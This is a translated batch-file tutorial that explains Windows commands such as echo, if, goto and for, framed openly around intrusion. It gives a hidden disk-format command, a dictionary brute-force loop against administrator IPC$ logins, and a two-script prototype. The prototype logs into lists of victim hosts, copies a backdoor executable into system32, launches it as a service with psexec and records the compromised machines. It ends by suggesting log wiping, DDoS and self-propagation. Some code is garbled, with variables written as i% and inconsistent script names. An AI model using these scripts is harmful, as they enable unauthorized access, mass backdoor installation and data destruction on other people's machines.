Brief Batch File Tutorial - 1
Preface
Lately, discussion of batch file techniques has been pretty hot, and quite a few good batch programs have been released too. But without a certain amount of related knowledge, I'm afraid it won't be easy to read and understand these batch files, much less write them yourself. As the old saying goes: "Giving someone fish is not as good as teaching them how to fish." Since there doesn't seem to be a fairly complete tutorial online, I took a little time to write this <> for newbie friends. It's also dedicated to all friends working to realize freedom and sharing on the network.
A batch file is an unformatted text file containing one or more commands. Its file extension is .bat or .cmd. If you type the name of the batch file at the command prompt, or double-click the batch file, the system calls Cmd.exe to run the commands in it one by one in the order they appear. Using batch files (also called batch programs or scripts) can simplify daily or repetitive tasks. Of course, the main content of our version here is to introduce some practical uses of batch files in intrusion, such as using batch files to patch systems, batch-deploy backdoor programs, etc., which we'll mention later. Now let's begin our batch file learning journey.
I. Introduction to simple batch internal commands
1.Echo command
Turns command echoing on or off, or displays a message. If used without any parameters, the echo command displays the current echo setting.
Syntax
echo
Sample:@echo off / echo hello world
In actual use we combine this command with redirection symbols (also called pipe symbols, usually > >> ^) to input some commands into files in a specific format. This will be shown in later examples.
2.@ command
This means do not display the command following the @. During intrusion (for example, using a batch file to format the enemy's hard disk), naturally you can't let the other side see the commands you're using.
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (the format command cannot use the /y parameter, but fortunately Microsoft left us the autoset parameter, and it works the same as /y.)
3.Goto command
Specifies a jump to a label. After finding the label, the program processes commands starting from the next line.
Syntax:goto label (label is a parameter specifying the line in the batch program to jump to.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip over it for now; there will be a detailed explanation later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
You can name labels however you want, but it's best to use meaningful letters. Put a : in front to indicate that this is a label; the goto command looks for this : to decide where to jump next. It's best to add some explanation so others can understand your intent.
4.Rem command
Comment command. In C language it's equivalent to /*--------*/. It won't be executed; it only serves as a comment, making it easier for others to read and for you to modify later.
Rem Message
Sample:@Rem Here is the description.
5.Pause command
When the Pause command runs, it displays the following message:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. The displayed prompt asks you to put another disk into drive A, and the pause command suspends the program so you can change disks, then press any key to continue processing.
6.Call command
Calls one batch program from another without terminating the parent batch program. The call command accepts a label as the call target. If you use Call outside a script or batch file, it will not work at the command line.
Syntax
call FileName ] ]
Parameters
FileName
Specifies the location and name of the batch program to call. The filename parameter must have a .bat or .cmd extension.
7.start command
Calls an external program. All DOS commands and command-line programs can be called with the start command.
Common parameters for intrusion:
MIN start with the window minimized
SEPARATE start 16-bit Windows program in a separate space
HIGH start application in HIGH priority class
REALTIME start application in REALTIME priority class
WAIT start the application and wait for it to end
parameters these are parameters passed to the command/program
When the application executed is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If executed inside a command script, this new behavior does not occur.
8.choice command
With this command, choice lets the user enter a character so different commands can be run. When using it, you should add the /c: parameter; after c: write the characters that can be entered, with no spaces in between. Its return codes are 1234...
For example: choice /c:dme defrag,mem,end
It will display
defrag,mem,end?
Sample:
The contents of Sample.bat are as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (you should test the highest error code first)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file runs, it will display defrag,mem,end? The user can choose d m e, then the if statements make the judgment: d means execute the section labeled defrag, m means execute the section labeled mem, e means execute the section labeled end. At the end of each section, goto end jumps the program to the end label, then the program displays good bye, and the file ends.
9.If command
if means it will determine whether specified conditions are met, so as to decide which command to execute. There are three formats:
1、if "parameter" == "string" command to execute
If the parameter equals the specified string, the condition is true and the command runs; otherwise the next line runs. (Note there are two equal signs)
For example if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist filename command to execute
If the specified file exists, the condition is true and the command runs; otherwise the next line runs.
For example if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel number command to execute
If the return code equals the specified number, the condition is true and the command runs; otherwise the next line runs.
For example if errorlevel 2 goto x2
When a DOS program runs, it returns a number to DOS, called an error code errorlevel or return code. Common return codes are 0 and 1.
10.for command
The for command is a relatively complex command, mainly used to execute commands in a loop with parameters within a specified range.
When using the FOR command in a batch file, use %%variable to specify variables
for {%variable|%%variable} in (set) do command
%variable specifies a single-letter replaceable parameter.
(set) specifies one or a set of files. Wildcards may be used.
command specifies the command to execute for each file.
command-parameters specifies parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify variables
and not %variable. Variable names are case-sensitive, so %i is different from %I
If command extensions are enabled, the following additional FOR command formats are
supported:
FOR /D %variable IN (set) DO command
If the set contains wildcards, it specifies matching directory names, not file
names.
FOR /R path] %variable IN (set) DO command
path, pointing to each directory in
the FOR statement. If no directory is specified after /R, the current
directory is used. If the set is just a single dot (.) character, that directory tree is enumerated.
FOR /L %variable IN (start,step,end) DO command
%variable IN (file-set) DO command
FOR /F %variable IN ("string"

DO command
FOR /F %variable IN (command) DO command
Or, if the usebackq option is present:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string"

DO command
FOR /F %variable IN (command) DO command
filenameset is one or more file names. Before continuing to the next
file in filenameset, each file is opened, read, and processed.
Processing consists of reading the file, breaking it into lines of text,
then parsing each line into zero or more symbols. The For loop is then called
with the variable values set to the found symbol strings. By default, /F passes
the first blank-separated symbol from each line of each file. Blank lines are skipped.
You can override the default parsing behavior by specifying the optional "options"
parameter. This quoted string consists of one or more keywords
to specify different parsing options. These keywords are:
eol=c - specifies an end-of-line comment character (just one)
skip=n - specifies the number of lines to ignore at the beginning of the file.
delims=xxx - specifies a delimiter set. This replaces the default delimiter set
of space and tab.
tokens=x,y,m-n - specifies which symbol(s) from each line are passed to each iteration
of the for itself. This causes additional variable names
to be allocated for a range. By specifying the last character
in the symbol string as an asterisk for the nth symbol,
then an additional variable will be allocated and receive the remaining text of the line
after the last symbol parsed.
usebackq - specifies that the new syntax is used in the following cases:
a back-quoted string is executed as a command and
a quoted string is taken as a literal string command and allows
double quotes to be used to enclose file names in fi
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
This will parse each line in myfile.txt, ignore lines beginning with a semicolon,
pass the second and third symbols on each line to the for body, using comma and/or
space as delimiters. Note that the statement in this for body refers to %i
to get the second symbol, %j to get the third symbol, and %k
to get all remaining symbols after the third one. For file names
with spaces, you need to enclose the file names in double quotes. To use
double quotes in this way, you also need to use the usebackq option; otherwise, double quotes
will be understood as defining a string to be parsed.
%i is specifically explained in the for statement, and %j and %k are specifically
obtained through the tokens= option. You can specify up to 26 symbols on one
tokens= line, as long as you don't try to specify a variable higher than the letter z or
Z. Remember that FOR variables are single-letter, case-sensitive, and global;
also, no more than 52 can be in use at one time.
You can also use FOR /F to analyze logic on adjacent strings;
the way to do it is to enclose the filenameset between parentheses in single quotes. In this way, that
string is treated as a single input line in one file.
Finally, you can use the FOR /F command to parse the output of a command. The method is to turn
the filenameset between parentheses into a back-quoted string. That string is treated
as a command line and passed to a child CMD.EXE whose output is captured into
memory and analyzed as a file. Therefore, the following example:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
will enumerate the names of environment variables in the current environment.
In addition, replacement of FOR variable references has been enhanced. You can now use the following
option syntax:
~I - removes any quotes("

, expands %I
%~fI - expands %I to a fully qualified path name
%~dI - expands %I to a drive letter only
%~pI - expands %I to a path only
%~nI - expands %I to a file name only
%~xI - expands %I to a file extension only
%~sI - expanded path contains short names only
%~aI - expands %I to file attributes
%~tI - expands %I to file date/time
%~zI - expands %I to file size
%~$PATH:I - searches the directories listed in the PATH environment variable, and expands %I
to the first fully qualified name found. If the environment variable
is not defined, or the file is not found, this combination expands to
an empty string
Modifiers can be combined to get multiple results:
%~dpI - expands %I to a drive letter and path only
%~nxI - expands %I to a file name and extension only
%~fsI - expands %I to a full path name with short names only
%~dp$PATH:i - searches the directories listed in the PATH environment variable, and expands %I
to the drive letter and path of the first match found.
%~ftzaI - expands %I to an output line similar to DIR
In the above examples, %I and PATH may be replaced with other valid values. The %~ syntax
ends with a valid FOR variable name. Choosing capital variable names
like %I is easier to read and avoids confusion with case-insensitive combinations.
The above is MS official help. Next we'll give a few examples to specifically explain the use of the For command in intrusion.
sample2:
Using the For command to carry out a brute-force password crack against a target Win2k host.
We use net use \\ip\ipc$ "password" /u:"administrator" to try connecting to the target host, and when successful we record the password.
The main command is just one line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Use i% to represent the admin password; take the value of i% from dict.txt and use the net use command to connect. Then pass the program's result to the find command --
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,and that's it.
sample3:
Have you ever had a large number of meat machines in your hands just waiting for you to plant backdoors + trojans on them? When the number gets especially large, something that was originally very enjoyable can become really depressing

. At the beginning of this article I mentioned that using batch files can simplify daily or repetitive tasks. So how do you do that? Hehe, keep reading and you'll understand.
There is really only one main command:
(when using the FOR command in a batch file, specify variables with %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
For the use of tokens, please see sample1 above. Here it means passing the contents of victim.txt in order to the parameters %i %j %k in door.bat.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, then copy trojans + backdoors to victim, and use the return code (If errorlever =) to filter out the hosts where backdoors were successfully planted, then echo them out, or echo them to a specified file.
delims= means the contents in vivtim.txt are separated by spaces. I think by the time you've read this, you certainly understand what the contents in victim.txt look like. They should be arranged according to the objects represented by %%i %%j %%k, generally ip password username.
Code prototype:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
This is only a prototype of an automatic backdoor-planting batch file. The two batch files plus the backdoor program (Windrv32.exe) and PSexec.exe need to be placed in the same directory. The contents of the batch files
can still be expanded, for example: add functionality to clear logs + DDOS, add functionality to add users on a schedule, and more deeply, make it capable of self-propagation (worm). I won't say more here; interested friends can research it themselves.